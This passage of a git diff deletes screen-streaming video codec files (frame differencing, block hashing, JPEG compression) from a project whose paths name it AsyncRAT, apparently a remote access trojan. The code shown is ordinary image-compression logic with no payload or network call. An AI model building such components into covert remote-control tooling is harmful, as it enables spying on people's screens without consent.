LastFrame.Scan0_int, sbBmp.Scan0_int, sbBmp.Info)) - { - index = Blocks.Count - 1; - if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y) - { - cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height); - Blocks[index] = cBlock; - } - else - { - Blocks.Add(cBlock); - } - } - y += s.Height; - } - - List finalUpdates = new List(); - const int CheckHeight = 50; - for (int i = 0; i < Blocks.Count; i++) - { - s = new Size(CheckBlock.Width, Blocks[i].Height); - y = Blocks[i].Y; - lasty = (Blocks[i].Y + Blocks[i].Height); - - while (y != lasty) - { - int ScanHeight = y + CheckHeight > lasty ? lasty - y : CheckHeight; - x = 0; - while (x != bitmap.Width) - { - if (x == lastx) - s = new Size(lastSize.Width, Blocks[i].Height); - cBlock = new Rectangle(x, y, s.Width, ScanHeight); - - if (onCodeDebugScan != null) - onCodeDebugScan(cBlock); - - if (!SimpleBitmap.Compare(cBlock, sbBmp.Scan0_int, LastFrame.Scan0_int, sbBmp.Info)) - { - /*byte[] tempData = new byte[0]; - LastFrame.CopyBlock(cBlock, ref tempData); - finalUpdates.Add(new CacheInfo(0, false, tempData, cBlock));*/ - - //hash it and see if exists in cache - hasher = new CRC32(); //re-initialize for seed - byte[] tempData = new byte[0]; - LastFrame.CopyBlock(cBlock, ref tempData); - int hash = BitConverter.ToInt32(hasher.ComputeHash(tempData), 0); - - if (codeCached.Count >= MaxBuffers) - codeCached.RemoveAt(0); - - if (codeCached.ContainsKey(hash)) - { - CachedSize += (ulong)tempData.Length; - finalUpdates.Add(new CacheInfo(hash, true, new byte[0], cBlock)); - } - else - { - //nothing found in cache let's use the normal way - codeCached.Add(hash, tempData); - finalUpdates.Add(new CacheInfo(hash, false, tempData, cBlock)); - } - } - x += s.Width; - } - y += ScanHeight; - } - } - - for (int i = 0; i < finalUpdates.Count; i++) - { - buffer = new byte[0]; - Rectangle rect = finalUpdates[i].Rect; - - if (!finalUpdates[i].isCached) - { - fixed (byte* ptr = finalUpdates[i].Data) - { - using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * LastFrame.Info.PixelSize, LastFrame.bitmapData.PixelFormat, new IntPtr(ptr))) - { - buffer = base.jpgCompression.Compress(TmpBmp); - } - } - } - - outStream.WriteByte(finalUpdates[i].isCached ? (byte)1 : (byte)0); - outStream.Write(BitConverter.GetBytes(finalUpdates[i].Rect.X), 0, 4); - outStream.Write(BitConverter.GetBytes(finalUpdates[i].Rect.Y), 0, 4); - outStream.Write(BitConverter.GetBytes(finalUpdates[i].Rect.Width), 0, 4); - outStream.Write(BitConverter.GetBytes(finalUpdates[i].Rect.Height), 0, 4); - outStream.Write(BitConverter.GetBytes(finalUpdates[i].Hash), 0, 4); - outStream.Write(BitConverter.GetBytes(buffer.Length), 0, 4); - outStream.Write(buffer, 0, buffer.Length); - TotalDataLength += buffer.Length + (4 * 6) + 1; - } - - outStream.Position = oldPos; - outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4); - - Blocks.Clear(); - SetLastFrame(sbBmp); - ms.Close(); - ms.Dispose(); - } - } - - public override Bitmap DecodeData(Stream inStream) - { - byte[] temp = new byte[4]; - inStream.Read(temp, 0, 4); - int DataSize = BitConverter.ToInt32(temp, 0); - - if (decodedBitmap == null) - { - temp = new byte[DataSize]; - inStream.Read(temp, 0, temp.Length); - this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); - return decodedBitmap; - } - - List updates = new List(); - Rectangle rect; - Graphics g = Graphics.FromImage(decodedBitmap); - Bitmap tmp; - byte[] buffer = null; - MemoryStream m; - List cacheInfo = new List(); - byte[] HeaderData = new byte[(4 * 6) + 1]; - - while (DataSize > 0) - { - inStream.Read(HeaderData, 0, HeaderData.Length); - - bool isCached = HeaderData[0] == 1; - rect = new Rectangle(BitConverter.ToInt32(HeaderData, 1), BitConverter.ToInt32(HeaderData, 5), - BitConverter.ToInt32(HeaderData, 9), BitConverter.ToInt32(HeaderData, 13)); - int Hash = BitConverter.ToInt32(HeaderData, 17); - int UpdateLen = BitConverter.ToInt32(HeaderData, 21); - - buffer = new byte[UpdateLen]; - inStream.Read(buffer, 0, buffer.Length); - - //process update data - if (isCached) - { - //data is cached - if (decodeCached.ContainsKey(Hash)) - buffer = decodeCached[Hash]; - else - { - - } - cacheInfo.Add(new CacheInfo(Hash, true, new byte[0], rect)); - } - - if (onDecodeDebugScan != null) - onDecodeDebugScan(rect); - - if (buffer.Length > 0) - { - m = new MemoryStream(buffer); - tmp = (Bitmap)Image.FromStream(m); - g.DrawImage(tmp, rect.Location); - - tmp.Dispose(); - m.Close(); - m.Dispose(); - } - - if (decodeCached.Count >= MaxBuffers) - decodeCached.RemoveAt(0); - - if(!decodeCached.ContainsKey(Hash)) - this.decodeCached.Add(Hash, buffer); - DataSize -= UpdateLen + HeaderData.Length; - } - - int CachedSize = 0; - foreach(CacheInfo inf in cacheInfo) - { - CachedSize += (inf.Rect.Width * 4) * inf.Rect.Height; - - - } - Console.WriteLine(cacheInfo.Count + ", " + CachedSize); - g.Dispose(); - return decodedBitmap; - } - - private class CacheInfo - { - public bool isCached = false; - public byte[] Data; - public int Hash; - public Rectangle Rect; - - public CacheInfo(int Hash, bool isCached, byte[] Data, Rectangle Rect) - { - this.Hash = Hash; - this.isCached = isCached; - this.Data = Data; - this.Rect = Rect; - } - - /*public unsafe void CreateHashList(SimpleBitmap sBmp, Size CheckBlock, SmallCachedStreamCodec codec) - { - if (ScanRects.Count > 0) - { - int scanX = ScanRects[0].X; - for (int i = 0; i < ScanRects.Count; i++) - { - int scanWidth = ScanRects[i].Width > CheckBlock.Width ? CheckBlock.Width : ScanRects[i].Width; - Rectangle rect = ScanRects[i]; - rect.Width = scanWidth; - rect.X = scanX; - byte[] buffer = new byte[0]; - sBmp.CopyBlock(rect, ref buffer); - - int hash = BitConverter.ToInt32(new CRC32().ComputeHash(buffer), 0); - - if (!HashList.ContainsKey(hash)) - HashList.Add(hash, rect); - - //fixed (byte* ptr = buffer) - //{ - // using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * sBmp.Info.PixelSize, sBmp.bitmapData.PixelFormat, new IntPtr(ptr))) - // { - // buffer = codec.lzwCompression.Compress(TmpBmp); - // - // } - //} - - scanX += scanWidth; - } - } - }*/ - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/SmallStreamCodec.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/SmallStreamCodec.cs deleted file mode 100644 index 0dea684..0000000 --- a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/SmallStreamCodec.cs +++ /dev/null @@ -1,266 +0,0 @@ -using StreamLibrary.src; -using System; -using System.Collections.Generic; -using System.Drawing; -using System.IO; -using System.Text; - -namespace StreamLibrary.Codecs -{ - public class SmallStreamCodec : IVideoCodec - { - public override event IVideoCodec.VideoCodeProgress onVideoStreamCoding; - public override event IVideoCodec.VideoDecodeProgress onVideoStreamDecoding; - public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan; - public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan; - - public override int BufferCount - { - get { return 1; } - } - public override ulong CachedSize - { - get; - internal set; - } - - public override CodecOption CodecOptions - { - get { return CodecOption.AutoDispose | CodecOption.RequireSameSize; } - } - - public Size CheckBlock { get; set; } - public SimpleBitmap LastFrame { get; set; } - private object ImageProcessLock = new object(); - private Bitmap decodedBitmap; - - /// - /// Initialize a new object of SmallStreamCodec - /// - /// The image quality 0-100% - public SmallStreamCodec(int ImageQuality = 100) - : base(ImageQuality) - { - CheckBlock = new Size(20, 1); - } - - private void SetLastFrame(ref Bitmap bmp) - { - SetLastFrame(new SimpleBitmap(bmp)); - } - private void SetLastFrame(SimpleBitmap bmp) - { - lock (ImageProcessLock) - { - if (LastFrame != null && LastFrame.Locked) - LastFrame.Dispose(true); - LastFrame = bmp; - } - } - - /// - /// Encode the image - /// - /// The image you want to encode. - /// The output stream - public override unsafe void CodeImage(Bitmap bitmap, Stream outStream) - { - lock (ImageProcessLock) - { - if (!outStream.CanWrite) - throw new Exception("Must have access to Write in the Stream"); - - if (LastFrame == null) - { - byte[] temp = base.jpgCompression.Compress(bitmap); - outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); - outStream.Write(temp, 0, temp.Length); - SetLastFrame(ref bitmap); - return; - } - - long oldPos = outStream.Position; - outStream.Write(new byte[4], 0, 4); - int TotalDataLength = 0; - - List updates = new List(); - SimpleBitmap sbBmp = new SimpleBitmap(bitmap); - MemoryStream ms = new MemoryStream(); - byte[] buffer = null; - - if (!LastFrame.Locked) - LastFrame.Lock(); - - sbBmp.Lock(); - - if (sbBmp.Info.PixelSize != LastFrame.Info.PixelSize) - throw new Exception("PixelFormat is not equal to previous Bitmap"); - - if (LastFrame.Info.Width != sbBmp.Info.Width || LastFrame.Info.Height != sbBmp.Info.Height) - { - sbBmp.Unlock(); - throw new Exception("Bitmap width/height are not equal to previous bitmap"); - } - - List Blocks = new List(); - int index = 0; - - int y = 0; - int x = 0; - - Size s = new Size(bitmap.Width, CheckBlock.Height); - Size lastSize = new Size(bitmap.Width % CheckBlock.Width, bitmap.Height % CheckBlock.Height); - - int lasty = bitmap.Height - lastSize.Height; - int lastx = bitmap.Width - lastSize.Width; - - Rectangle cBlock = new Rectangle(); - - s = new Size(bitmap.Width, s.Height); - while (y != bitmap.Height) - { - if (y == lasty) - s = new Size(bitmap.Width, lastSize.Height); - - cBlock = new Rectangle(0, y, bitmap.Width, s.Height); - - if (onCodeDebugScan != null) - onCodeDebugScan(cBlock); - - if (!SimpleBitmap.Compare(cBlock, LastFrame.Scan0_int, sbBmp.Scan0_int, sbBmp.Info)) - //if (!SimpleBitmap.Compare(y, s.Height, LastFrame.Scan0_int, sbBmp.Scan0_int, sbBmp.Info)) - { - index = Blocks.Count - 1; - if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y) - { - cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height); - Blocks[index] = cBlock; - } - else - { - Blocks.Add(cBlock); - } - } - y += s.Height; - } - - List finalUpdates = new List(); - for (int i = 0; i < Blocks.Count; i++) - { - s = new Size(CheckBlock.Width, Blocks[i].Height); - x = 0; - while (x != bitmap.Width) - { - if (x == lastx) - s = new Size(lastSize.Width, Blocks[i].Height); - - cBlock = new Rectangle(x, Blocks[i].Y, s.Width, Blocks[i].Height); - - if (onCodeDebugScan != null) - onCodeDebugScan(cBlock); - - if (!SimpleBitmap.Compare(cBlock, sbBmp.Scan0_int, LastFrame.Scan0_int, sbBmp.Info)) - { - index = finalUpdates.Count - 1; - if (finalUpdates.Count > 0 && (finalUpdates[index].X + finalUpdates[index].Width) == cBlock.X) - { - Rectangle rect = finalUpdates[index]; - int newWidth = cBlock.Width + rect.Width; - cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height); - finalUpdates[index] = cBlock; - } - else - { - finalUpdates.Add(cBlock); - } - } - x += s.Width; - } - } - - for (int i = 0; i < finalUpdates.Count; i++) - { - Rectangle rect = finalUpdates[i]; - sbBmp.CopyBlock(rect, ref buffer); - - fixed (byte* ptr = buffer) - { - using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * LastFrame.Info.PixelSize, LastFrame.bitmapData.PixelFormat, new IntPtr(ptr))) - { - buffer = base.jpgCompression.Compress(TmpBmp); - } - } - - outStream.Write(BitConverter.GetBytes(rect.X), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4); - outStream.Write(BitConverter.GetBytes(buffer.Length), 0, 4); - outStream.Write(buffer, 0, buffer.Length); - TotalDataLength += buffer.Length + (4 * 5); - } - - outStream.Position = oldPos; - outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4); - - Blocks.Clear(); - SetLastFrame(sbBmp); - ms.Close(); - ms.Dispose(); - } - } - - /// - /// Decode the video stream - /// - /// The input stream - /// The image that has been decoded - public override Bitmap DecodeData(Stream inStream) - { - byte[] temp = new byte[4]; - inStream.Read(temp, 0, 4); - int DataSize = BitConverter.ToInt32(temp, 0); - - if (decodedBitmap == null) - { - temp = new byte[DataSize]; - inStream.Read(temp, 0, temp.Length); - this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); - return decodedBitmap; - } - - List updates = new List(); - Rectangle rect; - Graphics g = Graphics.FromImage(decodedBitmap); - Bitmap tmp; - byte[] buffer = null; - MemoryStream m; - - while (DataSize > 0) - { - byte[] tempData = new byte[4 * 5]; - inStream.Read(tempData, 0, tempData.Length); - - rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4), - BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12)); - int UpdateLen = BitConverter.ToInt32(tempData, 16); - buffer = new byte[UpdateLen]; - inStream.Read(buffer, 0, buffer.Length); - - if (onDecodeDebugScan != null) - onDecodeDebugScan(rect); - - m = new MemoryStream(buffer); - tmp = (Bitmap)Image.FromStream(m); - g.DrawImage(tmp, rect.Location); - tmp.Dispose(); - - m.Close(); - m.Dispose(); - DataSize -= buffer.Length + (4 * 5); - } - g.Dispose(); - return decodedBitmap; - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Encoders/GridCoder/GridBlock.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Encoders/GridCoder/GridBlock.cs deleted file mode 100644 index ddbd18b..0000000 --- a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Encoders/GridCoder/GridBlock.cs +++ /dev/null @@ -1,26 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Text; - -namespace StreamLibrary.Encoders.GridCoder -{ - internal class GridBlock - { - public Rectangle Rect { get; private set; } - public ulong Hash { get; private set; } - private GridEncoder encoder; - - public GridBlock(Rectangle Rect, GridEncoder encoder) - { - this.encoder = encoder; - this.Rect = Rect; - CalculateHash(); - } - - public void CalculateHash() - { - - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Encoders/GridCoder/GridEncoder.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Encoders/GridCoder/GridEncoder.cs deleted file mode 100644 index 6cfcdfa..0000000 --- a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Encoders/GridCoder/GridEncoder.cs +++ /dev/null @@ -1,47 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Text; - -namespace StreamLibrary.Encoders.GridCoder -{ - public class GridEncoder : IEncoder - { - public override ulong CachedSize - { - get; - internal set; - } - - public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan; - public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan; - - public override int BufferCount - { - get { return 1; } - } - - public override CodecOption CodecOptions - { - get { return CodecOption.AutoDispose | CodecOption.RequireSameSize; } - } - - - - public override unsafe void CodeImage(IntPtr Scan0, System.Drawing.Rectangle ScanArea, System.Drawing.Size ImageSize, System.Drawing.Imaging.PixelFormat Format, System.IO.Stream outStream) - { - - - - } - - public override unsafe System.Drawing.Bitmap DecodeData(System.IO.Stream inStream) - { - return null; - } - - public override unsafe System.Drawing.Bitmap DecodeData(IntPtr CodecBuffer, uint Length) - { - return null; - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/IEncoder.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/IEncoder.cs deleted file mode 100644 index 06331f9..0000000 --- a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/IEncoder.cs +++ /dev/null @@ -1,46 +0,0 @@ -using StreamLibrary.src; -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Text; - -namespace StreamLibrary -{ - public abstract class IEncoder - { - protected LzwCompression lzwCompression; - public abstract ulong CachedSize { get; internal set; } - protected object ImageProcessLock { get; private set; } - - private int _imageQuality; - public int ImageQuality - { - get { return _imageQuality; } - set - { - _imageQuality = value; - lzwCompression = new LzwCompression(value); - } - } - - - public abstract event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan; - public abstract event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan; - - public IEncoder(int ImageQuality = 100) - { - this.ImageQuality = ImageQuality; - this.ImageProcessLock = new object(); - } - - public abstract int BufferCount { get; } - public abstract CodecOption CodecOptions { get; } - public abstract unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream); - public abstract unsafe Bitmap DecodeData(Stream inStream); - public abstract unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length); - - - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/UnsafeCodecs/UnsafeCacheCodec.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/UnsafeCodecs/UnsafeCacheCodec.cs deleted file mode 100644 index d48beca..0000000 --- a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/UnsafeCodecs/UnsafeCacheCodec.cs +++ /dev/null @@ -1,324 +0,0 @@ -using StreamLibrary.src; -using System; -using System.Collections.Generic; -using System.Diagnostics; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Text; - -namespace StreamLibrary.UnsafeCodecs -{ - public class UnsafeCacheCodec : IUnsafeCodec - { - private const int BlockCount = 5; - private const int HashBlockCount = 8192; - - public override ulong CachedSize - { - get { return 0; } - internal set { } - } - - public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan; - public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan; - - public override int BufferCount - { - get { return 0; } - } - - public override CodecOption CodecOptions - { - get { return CodecOption.HasBuffers | CodecOption.RequireSameSize; } - } - - private Bitmap decodedBitmap; - private int EncodedWidth; - private int EncodedHeight; - private PixelFormat EncodedFormat; - private MurmurHash2Unsafe hasher; - private SortedList> EncodeBuffer; - private Rectangle[] Offsets; - private BlockInfo[] EncodeHashBlocks; - private BlockInfo[] DecodeHashBlocks; - - public ulong EncodedFrames { get; private set; } - public ulong DecodedFrames { get; private set; } - - public UnsafeCacheCodec(int ImageQuality = 80) - : base(ImageQuality) - { - this.hasher = new MurmurHash2Unsafe(); - this.Offsets = new Rectangle[BlockCount]; - this.EncodeHashBlocks = new BlockInfo[HashBlockCount]; - this.DecodeHashBlocks = new BlockInfo[HashBlockCount]; - for (int i = 0; i < HashBlockCount; i++) - { - EncodeHashBlocks[i] = new BlockInfo(); - DecodeHashBlocks[i] = new BlockInfo(); - } - } - - public override unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream) - { - if (ImageSize.Width == 0 || ImageSize.Height == 0) - throw new ArgumentException("The width and height must be 1 or higher"); - if (ImageSize.Width < BlockCount || ImageSize.Height < BlockCount) - throw new Exception("The Image size Width/Height must be bigger then the Block Count " + BlockCount + "x" + BlockCount); - - int PixelSize = 0; - switch (Format) - { - case PixelFormat.Format24bppRgb: - PixelSize = 3; - break; - case PixelFormat.Format32bppArgb: - case PixelFormat.Format32bppPArgb: - PixelSize = 4; - break; - default: - throw new NotSupportedException(Format.ToString()); - } - - int Stride = ImageSize.Width * PixelSize; - int RawLength = Stride * ImageSize.Height; - - if (EncodedFrames == 0) - { - this.EncodedFormat = Format; - this.EncodedWidth = ImageSize.Width; - this.EncodedHeight = ImageSize.Height; - byte[] temp = null; - using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0)) - { - temp = base.jpgCompression.Compress(TmpBmp); - } - - outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); - outStream.Write(temp, 0, temp.Length); - - double size = (double)ImageSize.Width / (double)BlockCount; - - //fix floating point here - for (int i = 0, j = 0; i < BlockCount; i++, j += (int)size) - { - Offsets[i] = new Rectangle(j, 0, (int)size, 1); - } - - EncodeBuffer = new SortedList>(); - for (int y = 0; y < ImageSize.Height; y++) - { - for(int i = 0; i < Offsets.Length; i++) - { - if (!EncodeBuffer.ContainsKey(y)) - EncodeBuffer.Add(y, new SortedList()); - if (!EncodeBuffer[y].ContainsKey(Offsets[i].X)) - EncodeBuffer[y].Add(Offsets[i].X, 0); //0=hash - } - } - EncodedFrames++; - return; - } - - long oldPos = outStream.Position; - outStream.Write(new byte[4], 0, 4); - int TotalDataLength = 0; - - List ImageOffsets = new List(); - List ImageHashes = new List(); - - byte* pScan0 = (byte*)Scan0.ToInt32(); - for (int i = 0; i < Offsets.Length; i++) - { - for (int y = 0; y < ImageSize.Height; y++) - { - Rectangle ScanRect = Offsets[i]; - ScanRect.Y = y; - - int offset = (y * Stride) + (ScanRect.X * PixelSize); - - if (offset+Stride > Stride * ImageSize.Height) - break; - - uint Hash = hasher.Hash(pScan0 + offset, (int)Stride); - uint BlockOffset = Hash % HashBlockCount; - - BlockInfo blockInfo = EncodeHashBlocks[BlockOffset]; - - if (EncodeBuffer[y][ScanRect.X] != Hash) - { - if (!blockInfo.Hashes.ContainsKey(Hash)) - { - int index = ImageOffsets.Count - 1; - if (ImageOffsets.Count > 0 && ImageOffsets[index].Location.Y + 1 == ScanRect.Y) - { - Rectangle rect = ImageOffsets[index].Location; - ImageOffsets[index].Location = new Rectangle(rect.X, rect.Y, rect.Width, rect.Height + 1); - } - else - { - ImageOffsets.Add(new HashBlock(Hash, false, new Rectangle(ScanRect.X, y, ScanRect.Width, 1))); - } - - blockInfo.Hashes.Add(Hash, new HashBlock(Hash, false, new Rectangle(ScanRect.X, y, ScanRect.Width, 1))); - ImageHashes.Add(Hash); - } - EncodeBuffer[y][ScanRect.X] = Hash; - } - } - } - - if (ImageOffsets.Count > 0) - { - for (int i = 0; i < Offsets.Length; i++) - { - Rectangle TargetOffset = Offsets[i]; - int Height = GetOffsetHeight(ImageOffsets, TargetOffset); - Bitmap TmpBmp = new Bitmap(TargetOffset.Width, Height, Format); - BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat); - int blockStride = PixelSize * TargetOffset.Width; - List UsedOffsets = new List(); - - for (int j = 0; j < ImageOffsets.Count; j++) - { - Rectangle rect = ImageOffsets[j].Location; - - if (rect.Width != TargetOffset.Width || rect.X != TargetOffset.X) - continue; //error in 1440p, did not tested futher - - for (int o = 0, offset = 0; o < rect.Height; o++) - { - int blockOffset = (Stride * (rect.Y + o)) + (PixelSize * rect.X); - NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes - offset += blockStride; - UsedOffsets.Add(ImageOffsets[j]); - } - } - TmpBmp.UnlockBits(TmpData); - TmpBmp.Dispose(); - - outStream.Write(BitConverter.GetBytes((short)UsedOffsets.Count), 0, 2); - if (UsedOffsets.Count > 0) - { - outStream.Write(BitConverter.GetBytes((short)UsedOffsets[0].Location.X), 0, 2); - for (int j = 0; j < UsedOffsets.Count; j++) - { - outStream.Write(BitConverter.GetBytes((short)UsedOffsets[j].Location.Y), 0, 2); - outStream.Write(BitConverter.GetBytes((short)UsedOffsets[j].Location.Height), 0, 2); - outStream.Write(BitConverter.GetBytes(UsedOffsets[j].Hash), 0, 4); - } - byte[] CompressedImg = base.jpgCompression.Compress(TmpBmp); - outStream.Write(BitConverter.GetBytes(CompressedImg.Length), 0, 4); - outStream.Write(CompressedImg, 0, CompressedImg.Length); - } - - - //TotalDataLength += (int)length + (4 * 5); - } - } - EncodedFrames++; - } - - private int GetOffsetHeight(List ImageOffsets, Rectangle rect) - { - int height = 0; - for (int i = 0; i < ImageOffsets.Count; i++) - { - if (ImageOffsets[i].Location.Width == rect.Width && ImageOffsets[i].Location.X == rect.X) - height += ImageOffsets[i].Location.Height; - } - return height; - } - - public override Bitmap DecodeData(Stream inStream) - { - byte[] temp = new byte[4]; - inStream.Read(temp, 0, 4); - int DataSize = BitConverter.ToInt32(temp, 0); - - if (decodedBitmap == null) - { - temp = new byte[DataSize]; - inStream.Read(temp, 0, temp.Length); - this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); - return decodedBitmap; - } - //return decodedBitmap; - - List updates = new List(); - Rectangle rect; - Graphics g = Graphics.FromImage(decodedBitmap); - Bitmap tmp; - byte[] buffer = null; - MemoryStream m; - - while (DataSize > 0) - { - byte[] tempData = new byte[4 * 5]; - inStream.Read(tempData, 0, tempData.Length); - - rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4), - BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12)); - int UpdateLen = BitConverter.ToInt32(tempData, 16); - buffer = new byte[UpdateLen]; - inStream.Read(buffer, 0, buffer.Length); - - if (onDecodeDebugScan != null) - onDecodeDebugScan(rect); - - m = new MemoryStream(buffer); - tmp = (Bitmap)Image.FromStream(m); - g.DrawImage(tmp, rect.Location); - tmp.Dispose(); - - m.Close(); - m.Dispose(); - DataSize -= UpdateLen + (4 * 5); - } - g.Dispose(); - return decodedBitmap; - } - - public override unsafe System.Drawing.Bitmap DecodeData(IntPtr CodecBuffer, uint Length) - { - return null; - } - - private class BlockInfo - { - public SortedList Hashes { get; private set; } - public BlockInfo() - { - Hashes = new SortedList(); - } - } - private class HashBlock - { - public bool Cached { get; set; } - public uint Hash { get; set; } - public Rectangle Location { get; set; } - - public HashBlock(uint Hash, bool Cached, Rectangle Location) - { - this.Hash = Hash; - this.Cached = Cached; - this.Location = Location; - } - public HashBlock() - { - - } - } - private class ImageOffset - { - public Rectangle Location { get; set; } - public List Hashes { get; set; } - - public ImageOffset() - { - this.Hashes = new List(); - } - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/UnsafeCodecs/UnsafeCachedStreamCodec.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/UnsafeCodecs/UnsafeCachedStreamCodec.cs deleted file mode 100644 index 450d4fc..0000000 --- a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/UnsafeCodecs/UnsafeCachedStreamCodec.cs +++ /dev/null @@ -1,308 +0,0 @@ -using StreamLibrary.src; -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Text; - -namespace StreamLibrary.UnsafeCodecs -{ - public class UnsafeCachedStreamCodec : IUnsafeCodec - { - public override ulong CachedSize - { - get; - internal set; - } - - public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan; - public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan; - - public override int BufferCount - { - get { return 0; } - } - - public override CodecOption CodecOptions - { - get { return CodecOption.HasBuffers; } - } - - private PixelFormat EncodedFormat; - private int EncodedWidth; - private int EncodedHeight; - private static Size CheckBlock = new Size(50, 50); - private MurmurHash2Unsafe Hasher = new MurmurHash2Unsafe(); - private List Frames = new List(); - public const int MAX_FRAMES = 120; - - private ulong[] DecodeBuffer; - private Bitmap DecodedBitmap; - private List DecodedFrames = new List(); - - public UnsafeCachedStreamCodec(int ImageQuality) - : base(ImageQuality) - { - - } - - public override unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream) - { - byte* pScan0 = (byte*)Scan0.ToInt32(); - if (!outStream.CanWrite) - throw new Exception("Must have access to Write in the Stream"); - - int Stride = 0; - int RawLength = 0; - int PixelSize = 0; - - switch (Format) - { - case PixelFormat.Format24bppRgb: - PixelSize = 3; - break; - case PixelFormat.Format32bppArgb: - case PixelFormat.Format32bppPArgb: - PixelSize = 4; - break; - default: - throw new NotSupportedException(Format.ToString()); - } - - Stride = ImageSize.Width * PixelSize; - RawLength = Stride * ImageSize.Height; - - if (EncodedWidth == 0 && EncodedHeight == 0) - { - this.EncodedFormat = Format; - this.EncodedWidth = ImageSize.Width; - this.EncodedHeight = ImageSize.Height; - - byte[] temp = null; - using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0)) - { - temp = base.jpgCompression.Compress(TmpBmp); - } - outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); - outStream.Write(temp, 0, temp.Length); - return; - } - - Frame frame = new Frame(ImageSize.Width, ImageSize.Height); - - int Blocks = (ScanArea.Width / CheckBlock.Width) * (ScanArea.Height / CheckBlock.Height); - int RawSizeUsed = 0; - - long oldPos = outStream.Position; - outStream.Write(new byte[4], 0, 4); - int TotalDataLength = 0; - List ChangedBlocks = new List(); - - for(int y = ScanArea.Y; y < ScanArea.Height; ) - { - int height = y + CheckBlock.Height < ScanArea.Height ? CheckBlock.Height : ScanArea.Height - y; - for (int x = ScanArea.X; x < ScanArea.Width; ) - { - int width = x + CheckBlock.Width < ScanArea.Width ? CheckBlock.Width : ScanArea.Width - x; - int BlockStride = Format == PixelFormat.Format24bppRgb ? width * 3 : width * 4; - decimal FinalHash = 0; - - for (int h = 0; h < height; h++) - { - int Offset = FastBitmap.CalcImageOffset(x, y+h, Format, ImageSize.Width); - FinalHash += Hasher.Hash(pScan0 + Offset, BlockStride); - } - - if(onCodeDebugScan != null) - onCodeDebugScan(new Rectangle(x, y, width, height)); - - bool 